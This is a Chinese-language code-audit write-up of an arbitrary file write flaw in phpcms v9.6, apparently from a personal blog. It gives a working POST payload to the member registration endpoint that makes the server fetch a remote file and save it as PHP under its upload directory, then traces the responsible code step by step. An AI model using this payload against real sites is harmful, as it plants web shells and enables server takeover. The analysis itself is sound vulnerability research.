phpcms v9.6任意文件写入漏洞
🏍️

phpcms v9.6任意文件写入漏洞

Tags
代码审计
data
Jul 25, 2019
2019-7-25
 

phpcms漏洞分析

payload

http://127.0.0.1:8080/index.php?m=member&c=index&a=register&siteid=1 POST数据 siteid=1&modelid=1&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://127.0.0.1/shell.txt?.php#.jpg>&dosubmit=1&protocol=
从payload可以看到利用的是注册功能,注册的的代码位于/phpcms/modules/member/index.php的33行的register函数。从payload还可以看到利用的变量是$_POST['info'],在register函数中寻找$_POST['info'],可以迅速定位到第134和135行
notion image
134行代码对使用new_html_special_chars函数对$_POST['info']数组做了处理。
notion image
可以看到在进入135行的get函数之前,$_POST['info']的值还是{content=>"&lt;img src=http://127.0.0.1/shell.txt?.php#.jpg&gt;"},只是经过了标签实体化处理。
继续跟进$this->GET()方法。
notion image
该函数的21-46行都是对$field的值进行处理。$field的值就是$_POST[info]中的键,这里我们只关注payload中的键content。37行会获取$value的长度,然后进行检测。
再看第47和48行,这里$func会获取$this->fields[$field]['formtype']的值,然后作为函数名在48行执行,如果该函数存在的话。
可以将$this->fields[$field]中的所有formtype都打印出来如下
['catid']['formtype'] => 'catid', ['typeid']['formtype'] => 'typeid', ['title']['formtype'] => 'title', ['keywords']['formtype'] => 'keyword', ['copyfrom']['formtype'] => 'copyfrom', ['description']['formtype'] => 'textarea', ['updatetime']['formtype'] => 'datetime', ['content']['formtype'] => 'editor', ['thumb']['formtype'] => 'image', ['relation']['formtype'] => 'omnipotent', ['pages']['formtype'] => 'pages', ['inputtime']['formtype'] => 'datetime', ['posids']['formtype'] => 'posid', ['groupids_view']['formtype'] => 'groupid', ['voteid']['formtype'] => 'omnipotent', ['islink']['formtype'] => 'islink', ['url']['formtype'] => 'text', ['listorder']['formtype'] => 'number', ['template']['formtype'] => 'template', ['allow_comment']['formtype'] => 'box', ['status']['formtype'] => 'box', ['readpoint']['formtype'] => 'readpoint', ['username']['formtype'] => 'text'
这里content的formtype的方法editor方法会对文件进行处里,所以payload的键为content
跟进editor函数,代码如下
notion image
这里利用的是第64行的download
方法,继续跟进该方法,代码如下
notion image
函数的第153行有一行正则会对我们的$value进行检测。这里的$value=&lt;img src=http://127.0.0.1/shell.txt?.php#.jpg&gt;这个正则会检测文件的后缀是否是gif|jpg|jpeg|bmp|png中的。如果后缀中没有则不会继续执行。 payload中通过#.jpg绕过了该正则。返回的$matches为
array(5) { [0]=> array(1) { [0]=> string(40) "src=http://127.0.0.1/shell.txt?.php#.jpg" } [1]=> array(1) { [0]=> string(3) "src" } [2]=> array(1) { [0]=> string(0) "" } [3]=> array(1) { [0]=> string(36) "http://127.0.0.1/shell.txt?.php#.jpg" } [4]=> array(1) { [0]=> string(3) "jpg" } }
继续向下看代码,在159行会调用fillurl方法对$matche做处理,此时的$matche是http://127.0.0.1/shell.txt?.php#.jpg,跟进fillurl方法代码如下
notion image
这两行代码会去掉url中的#之后的内容,经过处理后的$surlhttp://127.0.0.1/shell.txt?.php
所以最后的返回值也就是http://127.0.0.1/shell.txt?.php,继续向下看download函数的第166行,这里的fileext函数是获取文件后缀的函数,fileext代码如下
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
传入fileext函数的值为$file,这里的$filehttp://127.0.0.1/shell.txt?.php
strrchr() 函数会查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
所以这里返回的结果就是文件扩展名就是php
接下来进入到download函数的第168行,这里的getname函数会生成新的文件名。这里传入的参数是$filename,它的值就是fileext函数的返回结果php
getname函数的代码如下。
function getname($fileext){ return date('Ymdhis').rand(100, 999).'.'.$fileext; }
这里会根据当前的时间和100-999之前的三位数字再加上传入的文件扩展名生成一个文件名。然后赋值给$filename.接着和$uploaddir拼接生成新文件的路径$newfile.
download函数的171行和172行代码如下
$upload_func = $this->upload_func; if($upload_func($file, $newfile)) {
这里的
$this->upload_func
为copy,在
/phpcms/libs/classes/attachment.class.php
中的attachment类中的析构函数就有定义。
notion image
所以$upload_func($file, $newfile)就相当于copy($file, $newfile),这里的$filehttp://127.0.0.1/shell.txt?.php$newfile/private/var/www/html/cms/phpcms_v9.6.0/install_package/uploadfile/2019/0726/20190726015843896.php
这样就可以将远程服务器的文件内容写入到网站的目录下。这里的url虽然看起来怪怪得,但是不影响正常获取shell.txt的内容。
copy远程文件需要php开启allow_url_fopen选项,此选项php默认是开启的。

梳理

在梳理一下执行流程。
  1. 构造info[content]="<img src=http://127.0.0.1/shell.txt?.php#.jpg>&dosubmit=1&protocol="
  1. 传入$member_input->get()方法。
  1. 通过$func = $this->fields[$field]['formtype'];执行editor方法
  1. 通过执行editor方法调用$this->attachment->download()
  1. 再通过download方法中的$upload_func函数执行copy函数。